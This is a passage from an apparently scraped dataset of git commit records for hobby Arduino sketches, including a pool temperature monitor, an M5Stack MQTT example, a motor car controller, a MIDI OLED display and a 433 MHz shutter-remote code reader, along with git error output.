Going to sleep now for \");\n Serial.print(checkFreq);\n Serial.println(\" mins\");\n\n ESP.deepSleep(checkFreq * 60 * 1000000); \/\/deepSleep is microseconds 1 sec = 1000000\n delay(100);\n\n} \/\/ end of void goToSleep()\n\nvoid measurementEvent() {\n\n\n \/\/******Measure Water Temperature*********************************************\n digitalWrite(TempPowerPin, HIGH); \/\/provide power\n delay(2000);\n \n DS18B20.begin();\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0); \/\/ Celcius\n Serial.print(\"Temperature (C) = \");\n Serial.println(temp);\n\n digitalWrite(TempPowerPin, LOW); \/\/turn off power\n delay(100);\n\n \/\/******Battery Voltage Monitoring*********************************************\n \/\/depend on 220k or 100k resistor used, toggle between this 2 calculation\n\n \/\/ using 220k\n \/\/ Voltage divider R1=100k, R2 = (220k + 100k) + 220k = 540k\n \/\/ Calculation to get the factor: 4.2v * 100\/540 = 0.7777, 0.7777 * y = 4.2, y = 5.4\n\/\/ float calib_factor = 5.28; \/\/ change this value to calibrate the battery voltage, 5.28 is so call calibrated\n\/\/ float calib_factor = 5.4;\n\n \/\/ using 100k\n \/\/ Voltage divider R1 = 100k, R2 = (220k + 100k) + 100k = 420k; \n \/\/ Calculation to get the factor: 4.2v * 100\/420 = 1, 1 * y = 4.2, y = 4.2\n float calib_factor = 4.2;\n \n unsigned long raw = analogRead(A0);\n\/\/ Serial.print(\"raw analog = \");\n\/\/ Serial.println(raw);\n float volt = raw * calib_factor\/1024; \n \n Serial.print( \"\\nVoltage = \");\n Serial.print(volt, 2); \/\/ print with 2 decimal places\n Serial.println (\" V\");\n \n \/\/*******************************************************************************\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-Pool_Monitor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6598eb7056bccdca98c1e8d96b1971dcb8f6b8ad","subject":"Add rad-IR to read IR remote codes.","message":"Add rad-IR to read IR remote codes.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"read-IR\/read-IR.ino","new_file":"read-IR\/read-IR.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8e782cb08cfcaaf9f9670227f200e5efc272b84e","subject":"add comx cat1 example","message":"add comx cat1 example\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Modules\/COM_CAT1\/COM_CAT1.ino","new_file":"examples\/Modules\/COM_CAT1\/COM_CAT1.ino","new_contents":"\/*\n*******************************************************************************\n* Copyright (c) 2022 by M5Stack\n* Equipped with M5Core sample source code\n* \u914d\u5957 M5Core \u793a\u4f8b\u6e90\u4ee3\u7801\n* Visit the website for more\ninformation\uff1ahttps:\/\/docs.m5stack.com\/en\/module\/comx_cat1\n* \u83b7\u53d6\u66f4\u591a\u8d44\u6599\u8bf7\u8bbf\u95ee\uff1ahttps:\/\/docs.m5stack.com\/zh_CN\/module\/comx_cat1\n*\n* describe: comx_cat1.\n* date\uff1a2022\/01\/11\n*******************************************************************************\nThis case will use COM.CAT1 Module combined with M5Core to implement MQTT\nClient. After successfully connecting to MQTT, press button B to realize data\npublishing. Before use, adjust the DIP switch of the module base to G16\/17 ON\nLibraries:\n- [TinyGSM](https:\/\/github.com\/vshymanskyy\/TinyGSM)\n- [PubSubClient](https:\/\/github.com\/knolleary\/pubsubclient.git)\n*\/\n\n#include <M5Stack.h>\n#include \"M5GFX.h\"\n\n\/\/ Compatible with SIM76XX series.\n#define TINY_GSM_MODEM_SIM7600\n\n\/\/ Set serial for debug console (to the Serial Monitor, default speed 115200)\n#define SerialMon Serial\n#define SerialAT Serial2\n\nuint32_t lastReconnectAttempt = 0;\n\n#define TINY_GSM_RX_BUFFER 650\n\n#define TINY_GSM_DEBUG SerialMon\n\n#define MODULE_BAUD 115200\n\n\/\/ Your GPRS credentials, if any\nconst char apn[] = \"YourAPN\";\nconst char gprsUser[] = \"\";\nconst char gprsPass[] = \"\";\n\n#include <TinyGsmClient.h>\n#include <PubSubClient.h>\n\nTinyGsm modem(SerialAT);\nTinyGsmClient client(modem);\n\nM5GFX display;\nM5Canvas canvas(&display);\n\nconst char* broker = \"mqtt.m5stack.com\";\n\nconst char* topic_up = \"cat1\/up\";\nconst char* topic_down = \"cat1\/down\";\n\nPubSubClient mqtt(client);\n\nunsigned long start;\n\ninline String time() {\n return \"...\" + String((millis() - start) \/ 1000) + 's';\n}\n\nvoid log(String info) {\n SerialMon.println(info);\n canvas.println(info);\n canvas.pushSprite(0, 0);\n}\n\nvoid mqttCallback(char* topic, byte* payload, unsigned int len) {\n log(\"Message arrived :\");\n log(topic);\n log(\"payload: \");\n char _payload[len];\n memcpy(_payload, payload, len);\n _payload[len] = '\\0';\n log(_payload);\n}\n\nboolean mqttConnect() {\n log(\"Connecting to \");\n log(broker);\n\n \/\/ Connect to MQTT Broker\n boolean status = mqtt.connect(\"GsmClientTest\");\n\n \/\/ Or, if you want to authenticate MQTT:\n \/\/ boolean status = mqtt.connect(\"GsmClientName\", \"mqtt_user\", \"mqtt_pass\");\n\n if (status == false) {\n SerialMon.println(\" fail\");\n return false;\n }\n SerialMon.println(\" success\");\n mqtt.publish(topic_up, \"GsmClientTest started\");\n mqtt.subscribe(topic_down);\n log(\"Subscribe Topic: \" + String(topic_down));\n return mqtt.connected();\n}\n\nvoid setup() {\n M5.begin();\n display.begin();\n start = millis();\n canvas.setColorDepth(1); \/\/ mono color\n canvas.setFont(&fonts::efontCN_14);\n canvas.createSprite(display.width(), display.height());\n canvas.setTextSize(2);\n canvas.setPaletteColor(1, GREEN);\n canvas.setTextScroll(true);\n\n log(\"Initializing modem...\" + time());\n\n \/\/ Set GSM module baud rate\n if (TinyGsmAutoBaud(SerialAT, MODULE_BAUD, MODULE_BAUD) == 0) {\n log(\"UART connect error\" + time());\n }\n \/\/ modem.restart();\n modem.init();\n String modemInfo = modem.getModemInfo();\n log(\"Modem Info: \");\n log(modemInfo + time());\n while (!modem.getSimStatus()) {\n log(\"not sim card\" + time());\n }\n}\n\nvoid loop() {\n log(\"Waiting for network....\" + time());\n if (!modem.waitForNetwork()) {\n log(\"fail\" + time());\n delay(10000);\n return;\n }\n if (modem.isNetworkConnected()) {\n log(\"Network connected\" + time());\n }\n log(\"GPRS connect...\" + time());\n if (!modem.gprsConnect(apn, gprsUser, gprsPass)) {\n log(\"fail\");\n delay(10000);\n return;\n }\n if (modem.isGprsConnected()) {\n log(\"GPRS connected\");\n }\n\n String ccid = modem.getSimCCID();\n log(\"CCID: \");\n log(ccid);\n\n String imei = modem.getIMEI();\n log(\"IMEI: \" + imei);\n\n String imsi = modem.getIMSI();\n log(\"IMSI: \" + imsi);\n\n String cop = modem.getOperator();\n log(\"Operator: \" + cop);\n\n IPAddress local = modem.localIP();\n log(\"REMOTE IP: \" + local.toString());\n\n int csq = modem.getSignalQuality();\n log(\"RSSI:\" + String(csq) + time());\n log(\"IP:\" + local.toString() + time());\n\n \/\/ MQTT Broker setup\n mqtt.setServer(broker, 1883);\n mqtt.setCallback(mqttCallback);\n\n while (true) {\n M5.update();\n if (!mqtt.connected()) {\n log(\"=== MQTT NOT CONNECTED ===\");\n \/\/ Reconnect every 10 seconds\n uint32_t t = millis();\n if (t - lastReconnectAttempt > 3000L) {\n lastReconnectAttempt = t;\n if (mqttConnect()) {\n lastReconnectAttempt = 0;\n log(\"mqtt.m5stack.com\" + time());\n log(\"MQTT Connected!\" + time());\n log(\"Press Btn B to Publish\");\n log(\"Topic: \" + String(topic_up));\n }\n }\n delay(100);\n } else {\n mqtt.loop();\n M5.update();\n if (M5.BtnB.wasPressed()) {\n log(\"Publish:\" + String(topic_up));\n mqtt.publish(topic_up, \"Hello From COM.X CAT1\");\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Modules\/COM_CAT1\/COM_CAT1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1512665a7fc3084186d0fc30ff708bf0dcfa809d","subject":"hmm in theory motor #1 & #2 should be the same","message":"hmm in theory motor #1 & #2 should be the same\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"TMC5031_Test\/TMC5031_Test.ino","new_file":"TMC5031_Test\/TMC5031_Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"30327cc329542066e81c5454d4e284a15eb9f80f","subject":"add drift for demo","message":"add drift for demo\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"006ba052dd014af14c3e64283472191e5a797165","subject":"It realized main part","message":"It realized main part\n","repos":"Sysaninster\/car","old_file":"sketch_car\/sketch_car.ino","new_file":"sketch_car\/sketch_car.ino","new_contents":"const byte LEFT = 0;\nconst byte RIGHT = 1;\n\nconst byte direction1Port[] = {2, 5};\nconst byte direction2Port[] = {4, 7};\nconst byte PWDPort[] = {3, 6};\n\nString lastCommand = String(\"\");\n\nvoid setup() {\n Serial.begin(9600); \n \n pinMode(direction1Port[0], OUTPUT);\n pinMode(direction1Port[1], OUTPUT);\n pinMode(direction2Port[0], OUTPUT);\n pinMode(direction2Port[1], OUTPUT);\n pinMode(PWDPort[0], OUTPUT);\n pinMode(PWDPort[1], OUTPUT);\n}\n\nvoid loop() {\n \/\/ GO:+5+5\n \/\/ read the input on analog pin 0:\n \/\/int sensorValue = analogRead(A0);\n \/\/ print out the value you read:\n \/\/Serial.println(sensorValue);\n if (readCommand()) {\n runCommand(lastCommand);\n lastCommand = String(\"\");\n }\n\/* go(LEFT, 255);\n go(RIGHT, 220);\n delay(100); \/\/ delay in between reads for stability\n *\/\n}\n\nvoid runCommand(String command) {\n if (command.startsWith(String(\"GO:\"))) {\n int leftPWD = int((command.charAt(4) - 0x30) * 51);\n int rightPWD = int((command.charAt(6) - 0x30) * 51);\n if (command.charAt(3) == '-') {\n leftPWD *= -1;\n }\n if (command.charAt(5) == '-') {\n rightPWD *= -1;\n }\n go(LEFT, leftPWD);\n go(RIGHT, rightPWD);\n } else {\n Serial.println(\"Undefined command\");\n }\n}\n\nboolean readCommand() {\n \n if (Serial.available() > 0) {\n lastCommand += char(Serial.read());\n Serial.println(\"REad:\");\n Serial.println(lastCommand);\n }\n \n if (lastCommand[lastCommand.length() - 1] == 0x0A) {\n lastCommand.trim();\n return true;\n }\n \n return false;\n}\n\nvoid go(byte side, int maxSpeed) {\n if (maxSpeed >= 0) {\n digitalWrite(direction1Port[side], HIGH);\n digitalWrite(direction2Port[side], LOW);\n } else {\n digitalWrite(direction1Port[side], LOW);\n digitalWrite(direction2Port[side], HIGH); \n maxSpeed *= -1;\n }\n \n analogWrite(PWDPort[side], maxSpeed);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_car\/sketch_car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8410bf4eac86388413755c2cd1486534e6bd057c","subject":"enough info \u2026","message":"enough info \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"821e55a04c4fa21022400c7afff14236bfd6d9a3","subject":"delete original.ino","message":"delete original.ino\n","repos":"samrudh\/ITSP14--Gesture-Based-Universal-Remote","old_file":"IRrecord _Original.ino","new_file":"IRrecord _Original.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'IRrecord' did not match any file(s) known to git\nerror: pathspec '_Original.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"2c537b3130d6f9c8e9857e4fdb81ffb05afd6cb6","subject":"review","message":"review\n","repos":"Silhm\/bcf-scribble-strips,Silhm\/bcf-scribble-strips,Silhm\/bcf-scribble-strips,Silhm\/bcf-scribble-strips,Silhm\/bcf-scribble-strips,Silhm\/bcf-scribble-strips","old_file":"arduinoBCF\/arduinoBCF2.ino","new_file":"arduinoBCF\/arduinoBCF2.ino","new_contents":"\n\n#include <SPI.h>\n#include <Wire.h>\n#include <stdio.h>\n\n#include <string.h>\n#include <stdlib.h>\n\n\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <midi_Namespace.h>\n#include <MIDI.h>\n#include <midi_Message.h>\n#include <midi_Defs.h>\n#include <midi_Settings.h>\n\n\n\n\/\/Oled related\n#define OLED_RESET 4\n#define LOGO16_GLCD_HEIGHT 16\n#define LOGO16_GLCD_WIDTH 16\n\/\/ character dimensions (for aligning text)\n#define CH_WID 6\n#define CH_HEI 8\n\/\/ display dimensions (for aligning text)\n#define DP_WID 128\n#define DP_HEI 32\n#define DP_WID_MID 64\n#define DP_HEI_MID 16\n\nAdafruit_SSD1306 display(OLED_RESET);\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n#define MIDI_NAMESPACE midi\n\nstatic const unsigned char PROGMEM logo16_glcd_bmp[] =\n{ B00000000, B11000000,\n B00000001, B11000000,\n B00000001, B11000000,\n B00000011, B11100000,\n B11110011, B11100000,\n B11111110, B11111000,\n B01111110, B11111111,\n B00110011, B10011111,\n B00011111, B11111100,\n B00001101, B01110000,\n B00011011, B10100000,\n B00111111, B11100000,\n B00111111, B11110000,\n B01111100, B11110000,\n B01110000, B01110000,\n B00000000, B00110000\n};\n\n#if (SSD1306_LCDHEIGHT != 32)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\n\/\/MIDI buffer\nstatic byte *lastSysEx;\n\nstatic bool overload = false;\n\n\n\/\/ Define the channel structure\nstruct channel {\n byte* trackName;\n byte displayLine1[7];\n byte displayLine2[7];\n byte offsetl1;\n byte offsetl2;\n byte* assign;\n byte* faderLevel;\n int leftPan;\n int rightPan;\n};\n\n\/\/ define all displays\nstatic struct channel oledDisplays[7];\nstatic int currentDisp = 0;\n\n\nstatic int myDebug = 0;\n\n\n\/\/declare frame structure\n typedef struct {\n int start=0;\n unsigned dataSize=0;\n byte *data;\n } t_frame;\n\n\n\/**\n Board Setup\n*\/\nvoid setup() {\n MIDI.begin();\n MIDI.turnThruOff();\n MIDI.setHandleSystemExclusive(handleSysEx);\n\n \/\/ MIDI callback system for handling input events.\n \/\/MIDI.setHandleNoteOn(HandleNoteOn);\n \/\/MIDI.setHandleControlChange(HandleCC);\n \/\/MIDI.setHandleNoteOff(HandleNoteOff);\n\n \/\/Serial.begin(9600);\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C (for the 128x32)\n\n \/\/ Show image buffer on the display hardware.\n \/\/ Since the buffer is intialized with an Adafruit splashscreen\n \/\/ internally, this will display the splashscreen.\n display.display();\n delay(1);\n display.clearDisplay();\n\n \/\/ Loading message\n display.setTextColor(WHITE);\n display.setCursor(0, 0);\n display.setTextSize(2);\n display.println(\"BCF 2000\");\n display.setTextSize(1);\n display.print(\"Init: \");\n for (int16_t i = 0; i < 100; i += 1) {\n display.drawLine(display.getCursorX() + i, display.getCursorY(), display.getCursorX() + i, display.getCursorY() + CH_HEI, WHITE);\n display.display();\n delay(1);\n }\n display.print(\"OK!\");\n display.display();\n delay(100);\n display.clearDisplay();\n display.drawPixel(10, 10, WHITE);\n display.display();\n\n\n\n}\n\n\/**\n MAIN\u00a0loop, mostly reading MIDI messages\n*\/\nvoid loop() {\n \/\/ Reading MIDI messages,\n\n MIDI.read();\n\n byte data = MIDI.getData1();\n byte data2 = MIDI.getData2();\n\n\/*\n if (MIDI.getType() == 0xD0) { \/\/metering?\n if (data != 0) {\n handleMetering(data);\n }\n }\n *\/\n if (MIDI.getType() == 0x90) { \/\/select?\n if (data != 0 && data == 0x18) {\n currentDisp = 0;\n } \n else if(data != 0 && data == 0x19){\n currentDisp = 1;\n }\n else if(data != 0 && data == 0x1A){\n currentDisp = 2;\n }\n refreshLCD();\n }\n}\n\n\n\n\/**\n MIDI CC\n*\/\nvoid HandleCC(byte channel, byte pitch, byte velocity)\n{\n \/\/ Do something here with your data!\n display.clearDisplay();\n display.setCursor(0, 0);\n display.println(pitch);\n display.display();\n}\n\n\/**\n MIDI note off\n*\/\nvoid HandleNoteOff(byte channel, byte pitch, byte velocity)\n{\n \/\/ Do something here with your data!\n}\n\n\/**\n MIDI SysEx\n*\/\nvoid handleSysEx(byte * sysEx, unsigned buffSize) { \n\/*\n \/\/Opening communication\n if (sysEx[5] == 0x00) {\n display.clearDisplay();\n display.setCursor(0, 0);\n display.setTextSize(1);\n display.println(\"Connection Query...\");\n display.display();\n \/\/ <HDR> | Host query\n byte sysExConnectionQuery[18] = { 0xF0, 0x00, 0x00, 0x66, 0x00, 0x01, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x01, 0x01, 0x01, 0x01, 0xF7 };\n sysExConnectionQuery[4] = sysEx[4];\n MIDI.sendSysEx(18, sysExConnectionQuery, false);\n\n delay(500);\n\n }\n if (sysEx[5] == 0x02) {\n \/\/skip protocol verifications...\n \/\/display.clearDisplay();\n \/\/display.setCursor(0, 0);\n display.println(\"Confirmed\");\n display.display();\n \/\/ <HDR> | Host confirm\n byte sysExConnectionConfirm[] = { 0xf0, 0x00, 0x00, 0x66, 0x14, 0x03, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0xF7 };\n MIDI.sendSysEx(14, sysExConnectionConfirm, false);\n }\n*\/\n\n\/\/* Got errors on this one\n unsigned i=0;\n int frameCpt = 0;\n\n t_frame frames[100];\n for(i=0; i<=buffSize;i++) {\n \/\/ Start of frame\n if(sysEx[i] == 0xF0){\n frames[frameCpt].start = i;\n }\n \n \/\/ End of frame : store it\n if(sysEx[i] == 0xF7){\n \/\/display.print(\"End\");\n frames[frameCpt].dataSize = 1 + i - frames[frameCpt].start ;\n memcpy(frames[frameCpt].data, sysEx + frames[frameCpt].start, frames[frameCpt].dataSize);\n frameCpt++;\n }\n \n } \/\/end for\n \n int j=0;\n for(j=0; j<frameCpt;j++){\n if (frames[j].data[5] == 0x12) { \n handleScribble(frames[j].data, frames[j].dataSize);\n }\n }\n\nrefreshLCD();\n\/\/end of buggy one*\/\n\n\/*\n \/\/this one is working\n \/\/if(sysEx[0] == 0xF0){\n if (sysEx[5] == 0x12) {\n handleScribble(sysEx, buffSize);\n }\n \n refreshLCD();\n \/\/}\n \/\/*\/\n \n}\n\n\n\/**\n LCD message should be processed here\n*\/\nvoid handleScribble(byte *sysEx, unsigned buffSize) {\n byte offset = sysEx[6];\n byte *ptr = sysEx + 7;\n \/\/ Start to get the display to update (0->7)\n int displayId = getDisplayId(sysEx);\n \n \n \/\/ Get position on the display\n if (offset >= 0x00 && offset < 0x38) {\n oledDisplays[displayId].offsetl1 = offset;\n memcpy(oledDisplays[displayId].displayLine1, ptr, 7); \/\/ get next 7 bytes (skip the 0xF7 EOSysEx)\n }\n if (offset >= 0x38 && offset <= 0x6C) { \/\/38->6C second line\n \/\/second line\n oledDisplays[displayId].offsetl2 = offset;\n memcpy(oledDisplays[displayId].displayLine2, ptr, 7); \/\/ get next 7 bytes (skip the 0xF7 EOSysEx)\n }\n\n \n}\n\nvoid refreshLCD(){\n \/\/*skip display\n display.clearDisplay();\n \/\/* Skip the Display number\n \/\/first line (+ display number)\n display.setCursor(0, 0);\n display.setTextSize(1);\n display.print(currentDisp + 1);\n display.setCursor(CH_WID *2, 0);\n \/\/* Skip the first line\n display.setTextSize(2);\n \/\/display.print(oledDisplays[currentDisp].offsetl1);\n for (int16_t i = 0; i < 7; i ++) {\n display.write(oledDisplays[currentDisp].displayLine1[i]); \/\/write to convert Byte as char\n }\n \n \/\/second line\n display.setTextSize(2);\n display.setCursor(0, CH_HEI * 2);\n \/\/display.print(oledDisplays[currentDisp].offsetl2);\n display.setCursor(DP_WID_MID - (3 * CH_WID * 2), display.getCursorY()); \/\/ Center text on OLED\n for (int16_t i = 0; i < 7; i ++) {\n display.write(oledDisplays[currentDisp].displayLine2[i]); \/\/write to convert Byte as char\n }\n \/\/*\/\n display.display();\n}\n\n\n\n\nvoid handleMetering(byte data) {\n int fullScale = DP_WID;\n\n byte chan = data & 0xf0; \/\/ from 0 to 7\n \/\/TODO handle multiple displays\n\n byte level = data & 0x0f; \/\/ 0-> 0% , C-> 100%\n int meterVal = (level * fullScale) \/ 0x0C;\n\n display.clearDisplay();\n display.setCursor(0, 0);\n\n for (int16_t i = 0; i < meterVal; i += 1) {\n display.drawLine(display.getCursorX() + i, display.getCursorY(), display.getCursorX() + i, display.getCursorY() + CH_HEI, WHITE);\n }\n\n \/\/ Set Overload\n if (level == 0x0E) {\n overload = true;\n }\n \/\/ unset Overload\n if (level == 0x0F) {\n overload = false;\n }\n if (overload) {\n display.setTextSize(1);\n display.println(\" \");\n display.print(\"OVERLOAD!!!!!\"); \/\/set overload\n }\n\n delay(50);\n display.display();\n}\n\n\n\/**\n Get Display id\n*\/\nint getDisplayId(byte *sysEx) {\n int offset = (sysEx[6] \/ 7) ; \/\/ 7char per display\n return offset % 8 ; \/\/ only 8 displays available\n}\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoBCF\/arduinoBCF2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b99a53e0d5bf5cb235f5cab1759d0a9cec84915","subject":"change state variable configuration, test LEDs","message":"change state variable configuration, test LEDs\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a30bbabd3532707b452d9b74a40521d10ba23aec","subject":"Arduino Code zum auslesen der Remotes","message":"Arduino Code zum auslesen der Remotes\n\nDer Sketch nutzt PIN 2 am Arduino als Input vom 433 MHz Receiver.\n","repos":"bjwelker\/Raspi-Rollo,bjwelker\/Raspi-Rollo,bjwelker\/Raspi-Rollo","old_file":"Arduino\/Rollo_Code_Receiver\/Rollo_Code_Receiver.ino","new_file":"Arduino\/Rollo_Code_Receiver\/Rollo_Code_Receiver.ino","new_contents":"int logfile[40];\nint i = 0;\nfloat lastTime = 0;\nboolean capturing = false;\nboolean checking = false;\nboolean dataIncoming = false;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Bereit...\");\n pinMode(2, INPUT);\n attachInterrupt(0, handleInterrupt, CHANGE);\n}\n\nvoid loop() {\n}\n\nvoid handleInterrupt() {\n\n if (!capturing) { \/\/wenn keine Aufnahme l\u00e4uft\n if (!checking) { \/\/wenn nicht gerade auf \"Start-Signal\" gepr\u00fcft wird\n if (digitalRead(2) == HIGH) { \/\/wenn Wechsel von LOW nach (jetzt) HIGH\n lastTime = micros();\n checking = true;\n }\n }\n\n else { \/\/wenn gerade auf Start-Signal gepr\u00fcft wird\n if ((micros() - lastTime > 4000) && (digitalRead(2) == LOW)) { \/\/wenn HIGH-Phase l\u00e4nger als 4ms war und wir jetzt LOW sind\n \/\/das war das Start-Signal\n checking = false;\n capturing = true;\n lastTime = micros();\n }\n\n else {\n \/\/das war nicht das Start-Signal\n checking = false;\n }\n }\n }\n\n else { \/\/es l\u00e4uft eine Aufnahme\n if (!dataIncoming) { \/\/bisher noch keine Nutzdaten empfangen\n if ((micros() - lastTime > 1000) && digitalRead(2) == HIGH) { \/\/das war die lange LOW-Phase vor Beginn der \u00dcbertragung\n dataIncoming = true; \/\/ab jetzt kommen Daten \n lastTime = micros();\n }\n }\n\n else { \/\/jetzt wird es interessant, jetzt kommen die Daten\n \/\/wenn steigene Flanke (also jetzt HIGH)\n if (digitalRead(2) == HIGH) {\n \/\/Beginn der HIGH-Phase merken\n lastTime = micros();\n } \n\n \/\/wenn fallende Flanke (also jetzt LOW) \n else if (digitalRead(2) == LOW) {\n \/\/=> pr\u00fcfe wie lange HIGH war\n if (micros() - lastTime > 500) {\n \/\/long\n logfile[i] = 1;\n }\n\n else {\n \/\/short\n logfile[i] = 0;\n }\n\n if (i < 39) {\n \/\/solange noch nicht alle Bits empfangen wurden\n i++;\n }\n\n else {\n \/\/wir sind fertig\n noInterrupts(); \/\/Interrupts aus damit Ausgabe nicht gest\u00f6rt wird\n Serial.println(\"Empfangene Daten:\");\n \/\/Ausgabe als \"quad-bit\"\n for (i = 0; i <= 38; i = i + 2) {\n if ((logfile[i] == 0) && (logfile[i+1] == 0))\n Serial.print(\"0\");\n\n else if ((logfile[i] == 0) && (logfile[i+1] == 1))\n Serial.print(\"F\");\n\n else if ((logfile[i] == 1) && (logfile[i+1] == 0))\n Serial.print(\"Q\");\n\n else if ((logfile[i] == 1) && (logfile[i+1] == 1))\n Serial.print(\"1\");\n }\n Serial.println();\n i = 0;\n dataIncoming = false;\n capturing = false;\n interrupts(); \/\/Interrupts wieder an\n return; \/\/und alles auf Anfang\n }\n }\n\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Rollo_Code_Receiver\/Rollo_Code_Receiver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60921b50d0ca46bc3d57708b4c574a9c85d590c8","subject":"Commit before branching","message":"Commit before branching\n","repos":"sschiesser\/Arduino_RTIMU9150,sschiesser\/Arduino_RTIMU9150","old_file":"ArduinoIMU\/ArduinoIMU.ino","new_file":"ArduinoIMU\/ArduinoIMU.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sschiesser\/Arduino_RTIMU9150.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5c7fee4554cd598ac19a20b360e52280ae029e61","subject":"import .ino","message":"import .ino\n","repos":"carneeki\/FUCAN-spintroller","old_file":"FUCAN-spintroller.ino","new_file":"FUCAN-spintroller.ino","new_contents":"\/*\n * Set pitch to be the ratio of the worm gear in the rotary table. Typically\n * this value is either 40:1 or 90:1, so enter either 40 or 90. It means 40 or\n * 90 rotations of the hand wheel will rotate the work piece one revolution.\n *\/\nint pitch = 90;\n\n\/*\n * Set ratio to be the pulley ratio between the stepper motor or servo and the\n * handle on the rotary table. It is best to design for a whole number. If the\n * ratio is 4:1, then enter 4.\n *\/\nint pulley = 4;\n\n\/*\n * Set the number of steps for the stepper or servo to complete one rotation of\n * the motor shaft. Many servos will actually use encoders and might have 4096\n * 'steps'. Many steppers will allow microstepping, allowing maybe 1600 steps\n * or more.\n *\/\nint microsteps = 1600;\n\n\/* As a sort of sanity check, work out how many steps on the motor are required\n * to rotate the workpiece one whole revolution. It should be:\n *\n * stepsPerRevolution = steps * pulley * pitch;\n *\n * This figure is calculated in setup() but not actually used anywhere.\n *\/\n\nint pinStep = 3; \/\/ STEP pin for stepper driver\nint pinDir = 4; \/\/ DIR pin for stepper driver\nint pinEn = 5; \/\/ ENABLE pin for stepper driver\nbool invertStep = false; \/\/ Should STEP pin be inverted?\nbool invertDir = false; \/\/ Should DIR pin be inverted?\nbool invertEn = true; \/\/ Should enable pin be inverted?\n\nint serialSpeed = 115200; \/\/ 9600, 19200, 38400, 57600 and 115200 are common\n\nvoid setup()\n{\n Serial.begin(serialSpeed);\n Serial.write(\"\");\n Serial.write(\"\");\n Serial.write(\"Initialising FUCAN-spintroller...\");\n\n \/* Steps per revolution is the calculated number of steps required to rotate\n * the workpiece one revolution.\n *\/\n int stepsPerRevolution = microsteps * pulley * pitch;\n Serial.write(\"Pitch set to: [\", pitch,\"]\");\n Serial.write(\"Pulley ratio: [\", pulley,\"]\");\n Serial.write(\"Microsteps: [\", microsteps,\"]\");\n\n \/\/ Initialise all the output pins\n pinMode(pinStep, OUTPUT);\n 